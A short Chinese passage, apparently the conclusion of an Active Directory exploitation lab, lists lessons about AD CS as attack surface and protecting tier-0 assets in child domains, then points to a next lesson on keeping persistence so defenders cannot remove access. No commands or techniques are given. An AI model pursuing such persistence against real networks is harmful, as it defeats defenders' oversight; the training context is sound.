4.AD 对象及其配置并不是唯一的利用途径。AD 服务（如 AD CS）也应被视为攻击面的一部分并受到保护。
5.我们需要实施足够的安全控制来保护子域中的第 0 层基础结构和帐户，因为其中一个的泄露可能会导致整个林的入侵。

随着我们对AD的开发完成，下一步是挖掘我们的根源，以确保蓝队不能简单地清除我们的访问权限。这将在隔壁的房间进行介绍。